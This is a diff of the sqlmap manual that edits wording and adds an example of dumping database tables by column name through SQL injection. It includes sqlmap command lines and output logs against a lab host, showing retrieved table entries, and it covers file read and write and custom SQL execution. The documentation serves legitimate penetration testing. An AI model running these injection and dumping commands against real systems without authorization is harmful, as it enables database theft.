@@ -325,7 +325,7 @@ custom application credentials.
325325
326326<item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive
327327SQL client connecting to the back-end database. sqlmap automatically
328- dissects the provided statement, determins which technique to use to
328+ dissects the provided statement, determines which technique to use to
329329inject it and how to pack the SQL payload accordingly.
330330</itemize>
331331
@@ -3338,10 +3338,12 @@ Options: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>,
33383338and <tt>-</tt><tt>-last</tt>
33393339
33403340<p>
3341- It is possible to dump the entries for a specific database table .
3341+ It is possible to dump table entries.
33423342This functionality depends on the option <tt>-T</tt> to specify the table
3343- name or the option <tt>-C</tt> to specify the column name and optionally
3344- on <tt>-D</tt> to specify the database name.
3343+ name or on the option <tt>-C</tt> to specify the column name and,
3344+ optionally on <tt>-D</tt> to specify the database name.
3345+
3346+ <p>
33453347If the table name is specified, but the database name is not, the current
33463348database name is used.
33473349
@@ -3355,31 +3357,31 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --du
33553357[...]
33563358back-end DBMS: MySQL >= 5.0.0
33573359
3358- [17:51 :41] [WARNING] missing database parameter, sqlmap is going to use the current
3360+ [hh:mm :41] [WARNING] missing database parameter, sqlmap is going to use the current
33593361database to dump table 'users' entries
3360- [17:51 :41] [INFO] fetching current database
3361- [17:51 :41] [INFO] retrieved: testdb
3362- [17:51 :41] [INFO] fetching columns for table 'users' on database 'testdb'
3363- [17:51 :41] [INFO] fetching number of columns for table 'users' on database 'testdb'
3364- [17:51 :41] [INFO] retrieved: 3
3365- [17:51 :41] [INFO] retrieved: id
3366- [17:51 :41] [INFO] retrieved: name
3367- [17:51 :41] [INFO] retrieved: surname
3368- [17:51 :41] [INFO] fetching entries for table 'users' on database 'testdb'
3369- [17:51 :41] [INFO] fetching number of entries for table 'users' on database 'testdb'
3370- [17:51 :41] [INFO] retrieved: 4
3371- [17:51 :41] [INFO] retrieved: 1
3372- [17:51 :42] [INFO] retrieved: luther
3373- [17:51 :42] [INFO] retrieved: blissett
3374- [17:51 :42] [INFO] retrieved: 2
3375- [17:51 :42] [INFO] retrieved: fluffy
3376- [17:51 :42] [INFO] retrieved: bunny
3377- [17:51 :42] [INFO] retrieved: 3
3378- [17:51 :42] [INFO] retrieved: wu
3379- [17:51 :42] [INFO] retrieved: ming
3380- [17:51 :43] [INFO] retrieved: 4
3381- [17:51 :43] [INFO] retrieved:
3382- [17:51 :43] [INFO] retrieved: nameisnull
3362+ [hh:mm :41] [INFO] fetching current database
3363+ [hh:mm :41] [INFO] retrieved: testdb
3364+ [hh:mm :41] [INFO] fetching columns for table 'users' on database 'testdb'
3365+ [hh:mm :41] [INFO] fetching number of columns for table 'users' on database 'testdb'
3366+ [hh:mm :41] [INFO] retrieved: 3
3367+ [hh:mm :41] [INFO] retrieved: id
3368+ [hh:mm :41] [INFO] retrieved: name
3369+ [hh:mm :41] [INFO] retrieved: surname
3370+ [hh:mm :41] [INFO] fetching entries for table 'users' on database 'testdb'
3371+ [hh:mm :41] [INFO] fetching number of entries for table 'users' on database 'testdb'
3372+ [hh:mm :41] [INFO] retrieved: 4
3373+ [hh:mm :41] [INFO] retrieved: 1
3374+ [hh:mm :42] [INFO] retrieved: luther
3375+ [hh:mm :42] [INFO] retrieved: blissett
3376+ [hh:mm :42] [INFO] retrieved: 2
3377+ [hh:mm :42] [INFO] retrieved: fluffy
3378+ [hh:mm :42] [INFO] retrieved: bunny
3379+ [hh:mm :42] [INFO] retrieved: 3
3380+ [hh:mm :42] [INFO] retrieved: wu
3381+ [hh:mm :42] [INFO] retrieved: ming
3382+ [hh:mm :43] [INFO] retrieved: 4
3383+ [hh:mm :43] [INFO] retrieved:
3384+ [hh:mm :43] [INFO] retrieved: nameisnull
33833385Database: testdb
33843386Table: users
33853387[4 entries]
@@ -3418,6 +3420,84 @@ Table: users
34183420+-------------------+
34193421</verb></tscreen>
34203422
3423+ <p>
3424+ If only the column name is specified, sqlmap will enumerate and ask the
3425+ user to dump all databases' tables containing user provided column(s).
3426+ This feature can be useful to identify, for instance, tables containing
3427+ custom application credentials.
3428+
3429+ <p>
3430+ Example on a <bf>MySQL 5.0.67</bf> target:
3431+
3432+ <tscreen><verb>
3433+ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
3434+ -C "urna"
3435+
3436+ [...]
3437+ back-end DBMS: MySQL >= 5.0.0
3438+
3439+ do you want sqlmap to consider provided column(s):
3440+ [1] as LIKE column names (default)
3441+ [2] as exact column names
3442+ > 1
3443+ [19:18:08] [INFO] fetching databases with tables containing columns like 'urna'
3444+ [19:18:08] [INFO] fetching number of databases with tables containing columns like
3445+ 'urna'
3446+ [19:18:08] [INFO] retrieved: 1
3447+ [19:18:08] [INFO] retrieved: testdb
3448+ [19:18:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
3449+ [19:18:10] [INFO] fetching number of tables containing columns like 'urna' in
3450+ database 'testdb'
3451+ [19:18:10] [INFO] retrieved: 1
3452+ [19:18:10] [INFO] retrieved: users
3453+ [19:18:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
3454+ [19:18:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
3455+ [19:18:10] [INFO] retrieved: 1
3456+ [19:18:10] [INFO] retrieved: surname
3457+ Columns like 'urna' were found in the following databases:
3458+ Database: testdb
3459+ Table: users
3460+ [1 column]
3461+ +---------+
3462+ | Column |
3463+ +---------+
3464+ | surname |
3465+ +---------+
3466+
3467+ do you want to dump entries? [Y/n] y
3468+ which database(s)?
3469+ [a]ll (default)
3470+ [testdb]
3471+ [q]uit
3472+ >
3473+ which table(s) of database 'testdb'?
3474+ [a]ll (default)
3475+ [users]
3476+ [s]kip
3477+ [q]uit
3478+ >
3479+ [19:18:23] [INFO] fetching columns 'surname' entries for table 'users' on
3480+ database 'testdb'
3481+ [19:18:23] [INFO] fetching number of columns 'surname' entries for table
3482+ 'users' on database 'testdb'
3483+ [19:18:23] [INFO] retrieved: 4
3484+ [19:18:23] [INFO] retrieved: blissett
3485+ [19:18:23] [INFO] retrieved: bunny
3486+ [19:18:23] [INFO] retrieved: ming
3487+ [19:18:23] [INFO] retrieved: nameisnull
3488+ Database: testdb
3489+ Table: users
3490+ [4 entries]
3491+ +------------+
3492+ | surname |
3493+ +------------+
3494+ | blissett |
3495+ | bunny |
3496+ | ming |
3497+ | nameisnull |
3498+ +------------+
3499+ </verb></tscreen>
3500+
34213501<p>
34223502sqlmap also stores for each table the dumped entries in a CSV format file.
34233503You can see the absolute path where sqlmap stores the dumped tables entries
@@ -3448,8 +3528,8 @@ Table: users
34483528172.16.213.131/dump/public/users.csv'
34493529[...]
34503530
3451- $ cat /software/sqlmap /output/172.16.213.131/dump/public/users.csv
3452- "id"," name"," surname"
3531+ $ cat . /output/172.16.213.131/dump/public/users.csv
3532+ id, name, surname
34533533"1","luther","blissett"
34543534"2","fluffy","bunny"
34553535"3","wu","ming"
@@ -3459,13 +3539,13 @@ $ cat /software/sqlmap/output/172.16.213.131/dump/public/users.csv
34593539
34603540<p>
34613541You can also provide the <tt>-</tt><tt>-start</tt> and/or the <tt>-</tt><tt>-stop</tt>
3462- options to limit the dump to a range of entries, while those entries can be further limited
3463- to a range of character positions provided with <tt>-</tt><tt>-first</tt> and/or the
3464- <tt>-</tt><tt>-last</tt> options.
3542+ options to limit the dump to a range of entries, while those entries can be further
3543+ limited to a range of character positions provided with <tt>-</tt><tt>-first</tt>
3544+ and/or the <tt>-</tt><tt>-last</tt> options:
34653545
34663546<itemize>
3467- <item><tt>-</tt><tt>-start</tt> specifies the first entry to enumerate
3468- <item><tt>-</tt><tt>-stop</tt> specifies the last entry to enumerate
3547+ <item><tt>-</tt><tt>-start</tt> specifies the first entry to enumerate.
3548+ <item><tt>-</tt><tt>-stop</tt> specifies the last entry to enumerate.
34693549</itemize>
34703550
34713551<p>
@@ -3478,19 +3558,19 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --du
34783558Database: testdb
34793559Table: users
34803560[3 entries]
3481- +----+---------------------------------------------- +-------------------+
3482- | id | name | surname |
3483- +----+---------------------------------------------- +-------------------+
3484- | 2 | fluffy | bunny |
3485- | 3 | wu | ming |
3561+ +----+--------------------------------------------+-------------------+
3562+ | id | name | surname |
3563+ +----+--------------------------------------------+-------------------+
3564+ | 2 | fluffy | bunny |
3565+ | 3 | wu | ming |
34863566| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
3487- +----+---------------------------------------------- +-------------------+
3567+ +----+--------------------------------------------+-------------------+
34883568</verb></tscreen>
34893569
34903570<p>
34913571As you can see, sqlmap is very flexible. You can leave it to automatically
3492- enumerate the whole database table up to a single column of a specific
3493- table entry.
3572+ enumerate the whole database table up to a range of characters of a single
3573+ column of a specific table entry.
34943574
34953575
34963576<sect2>Dump all databases tables entries
@@ -3509,15 +3589,15 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --du
35093589Database: testdb
35103590Table: users
35113591[5 entries]
3512- +----+---------------------------------------------- +-------------------+
3513- | id | name | surname |
3514- +----+---------------------------------------------- +-------------------+
3515- | 1 | luther | blissett |
3516- | 2 | fluffy | bunny |
3517- | 3 | wu | ming |
3592+ +----+--------------------------------------------+-------------------+
3593+ | id | name | surname |
3594+ +----+--------------------------------------------+-------------------+
3595+ | 1 | luther | blissett |
3596+ | 2 | fluffy | bunny |
3597+ | 3 | wu | ming |
35183598| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
3519- | 5 | NULL | nameisnull |
3520- +----+---------------------------------------------- +-------------------+
3599+ | 5 | NULL | nameisnull |
3600+ +----+--------------------------------------------+-------------------+
35213601
35223602Database: information_schema
35233603Table: CHARACTER_SETS
@@ -3620,21 +3700,23 @@ considered a system database because some database administrators use it
36203700as a users' database.
36213701
36223702
3623- <sect2>Run your own SQL statement
3703+ <sect2>Execute your SQL statement
36243704
36253705<p>
36263706Options: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt>
36273707
36283708<p>
3629- The SQL query and the SQL shell features makes the user able to run
3630- custom SQL statement on the web application's back-end database management.
3631- sqlmap recognizes the type of SQL statement provided and automatically
3632- chooses which SQL injection technique to use for it to be able to execute it.
3633- If it is a <tt>SELECT</tt> statement it will retrieve its output through
3634- the blind SQL injection or UNION query SQL injection technique depending
3635- on the user's options. Otherwise it will execute the query through the
3636- stacked query SQL injection technique if the web application supports
3637- multiple statements on the back-end database management system.
3709+ The SQL query and the SQL shell features makes the user able to execute
3710+ custom SQL statements on the web application's back-end database
3711+ management.
3712+ sqlmap automatically dissects the provided statement, determines which
3713+ technique to use to inject it and how to pack the SQL payload accordingly.
3714+
3715+ If it is a <tt>SELECT</tt> statement, sqlmap will retrieve its output
3716+ through the blind SQL injection or UNION query SQL injection technique
3717+ depending on the user's options. Otherwise it will execute the query
3718+ through the stacked query SQL injection technique if the web application
3719+ supports multiple statements on the back-end database management system.
36383720
36393721<p>
36403722Examples on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
@@ -3989,30 +4071,23 @@ the provided SQL statement in a multiple statement mode.
39894071
39904072<p>
39914073Beware that some web application technologies do not support stacked
3992- queries on specific database management systems. For instance, PHP does not
3993- support stacked queries when the back-end DBMS is MySQL, but it does
4074+ queries on specific database management systems. For instance, PHP does
4075+ not support stacked queries when the back-end DBMS is MySQL, but it does
39944076support when the back-end DBMS is PostgreSQL.
39954077
39964078
39974079<sect1>User-defined function injection
39984080
3999- <sect2>Inject custom user-injection functions
4000-
4001- <p>
4002- Option: <tt>-</tt><tt>-udf-inject</tt>
4003- #TODO
4004-
4005-
4006- <sect2>Local path of the shared library
4081+ <sect2>Inject custom user-defined functions (UDF)
40074082
40084083<p>
4009- Option: <tt>-</tt><tt>-shared-lib</tt>
4084+ Options: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt>
40104085#TODO
40114086
40124087
40134088<sect1>File system access
40144089
4015- <sect2>Read a file from the back-end DBMS file system
4090+ <sect2>Read a file from the database server's file system
40164091
40174092<p>
40184093Option: <tt>-</tt><tt>-read-file</tt>
@@ -4135,7 +4210,7 @@ output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI)
41354210</verb></tscreen>
41364211
41374212
4138- <sect2>Write a local file on the back-end DBMS file system
4213+ <sect2>Write a local file on the database server's file system
41394214
41404215<p>
41414216Options: <tt>-</tt><tt>-write-file</tt> and <tt>-</tt><tt>-dest-file</tt>
0 commit comments